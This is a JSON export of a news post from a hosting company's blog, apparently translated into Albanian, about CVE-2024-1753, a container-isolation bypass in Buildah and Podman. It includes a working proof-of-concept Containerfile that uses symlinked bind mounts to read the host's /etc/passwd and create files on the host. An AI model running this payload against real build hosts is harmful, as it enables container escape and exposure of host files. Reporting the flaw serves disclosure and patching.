{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Dob\u00ebsia n\u00eb Buildah dhe Podman, q\u00eb lejon ndalimin e izolimit t\u00eb kontejnerit","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb paketat Buildah dhe Podman \u00ebsht\u00eb identifikuar nj\u00eb dob\u00ebsi (CVE-2024-1753), e cila lejon qasje t\u00eb plot\u00eb n\u00eb sistemin e skedar\u00ebve t\u00eb ambientit prit\u00ebs gjat\u00eb faz\u00ebs s\u00eb nd\u00ebrtimit t\u00eb kontejnerit, i cili ekzekutohet me t\u00eb drejtat root. N\u00eb sistemet me SELinux t\u00eb aktivizuar, qasja n\u00eb FSh-n\u00eb prit\u00ebse kufizohet n\u00eb m\u00ebnyr\u00eb vet\u00ebm p\u00ebr lexim. Nj\u00eb rregullim \u00ebsht\u00eb aktualisht i disponuesh\u00ebm n\u00eb form\u00ebn e nj\u00eb patch-i, i cili u miratua disa minuta m\u00eb par\u00eb n\u00eb baz\u00ebn e kodit t\u00eb Buildah. <\/p>\n

Vulnerabiliteti shkaktohet nga fakti se, kur ekzekutohet montimi i pjes\u00ebve t\u00eb sistemit t\u00eb skedar\u00ebve p\u00ebrmes komand\u00ebs \"mount --bind\" gjat\u00eb faz\u00ebs s\u00eb nd\u00ebrtimit RUN, argumenti me katalogun burimor (parametri \"source=\") nuk verifikohet p\u00ebr ekzistenc\u00eb n\u00eb sistemin e skedar\u00ebve themelor. Nj\u00eb skedar konfigurimi i hartuar nga sulmuesi Containerfile mund t\u00eb p\u00ebrdor\u00eb nj\u00eb imazh konteineri, n\u00eb t\u00eb cilin katalogu burimor p\u00ebr montim \u00ebsht\u00eb paraqitur si nj\u00eb lidhje simbolike me sistemin e skedar\u00ebve themelor. N\u00eb k\u00ebt\u00eb rast, operacioni i montimit do t\u00eb \u00e7oj\u00eb n\u00eb montimin brenda konteinerit t\u00eb sistemit t\u00eb skedar\u00ebve t\u00eb ambientit prit\u00ebs, duke lejuar q\u00eb n\u00eb faz\u00ebn RUN t\u00eb ket\u00eb qasje t\u00eb plot\u00eb n\u00eb sistemin e skedar\u00ebve t\u00eb ambientit prit\u00ebs dhe t\u00eb organizohet nj\u00eb dalje nga konteneri gjat\u00eb nd\u00ebrtimit me komandat \"buildah build\" ose \"podman build\". <\/p>\n

Shembulli i nj\u00eb skedari t\u00eb d\u00ebmsh\u00ebm Containerfile, nd\u00ebrtimi i t\u00eb cilit me komand\u00ebn \"podman build -f ~\/Containerfile .\" do t\u00eb \u00e7oj\u00eb n\u00eb shfaqjen e p\u00ebrmbajtjes s\u00eb \/etc\/passwd dhe krijimin e skedar\u00ebve \/BIND_BREAKEOUT dhe \/etc\/BIND_BREAKOUT2 n\u00eb ambientin prit\u00ebs: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo \"ls container root\" RUN ls -l \/ RUN echo \"Me exploit shfaqni host root, jo root-in e kontenierit, dhe krijoni \/BIND_BREAKOUT n\u00eb \/ n\u00eb host\" RUN --mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo \"Me exploit shfaqni host \/etc\/passwd, jo t\u00eb kontenierit, dhe krijoni \/BIND_BREAKOUT2 n\u00eb \/etc n\u00eb host\" RUN --mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Dob\u00ebsia n\u00eb Buildah dhe Podman, e cila lejon anashkalimin e izolimit t\u00eb kontejnerit | ProHoster","description":"N\u00eb paketat Buildah dhe Podman \u00ebsht\u00eb identifikuar nj\u00eb dob\u00ebsi (CVE-2024-1753), e cila lejon qasje t\u00eb plot\u00eb n\u00eb sistemin e skedar\u00ebve t\u00eb ambientit prit\u00ebs gjat\u00eb faz\u00ebs s\u00eb nd\u00ebrtimit t\u00eb kontejnerit, i cili ekzekutohet me t\u00eb drejtat root. N\u00eb sistemet me SELinux t\u00eb aktivizuar, qasja n\u00eb FSh-n\u00eb prit\u00ebse kufizohet n\u00eb m\u00ebnyr\u00eb vet\u00ebm p\u00ebr lexim. Nj\u00eb rregullim \u00ebsht\u00eb aktualisht i disponuesh\u00ebm n\u00eb form\u00ebn e nj\u00eb patch-i, i cili u miratua disa minuta m\u00eb par\u00eb n\u00eb baz\u00ebn e kodit t\u00eb Buildah. Dob\u00ebsia shkaktohet nga fakti q\u00eb","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Buildah \u0438 Podman, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Buildah \u0438 Podman \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-1753), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0445\u043e\u0441\u0442-\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root. \u041d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c SELinux \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u0424\u0421 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0442\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434 \u043f\u0440\u0438\u043d\u044f\u0442 \u0432 \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 Buildah. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c,","og:url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2024-03-18T22:25:47+00:00","article:modified_time":"2024-03-18T22:25:47+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":[],"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/114412","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=114412"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/114412\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=114412"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=114412"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=114412"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}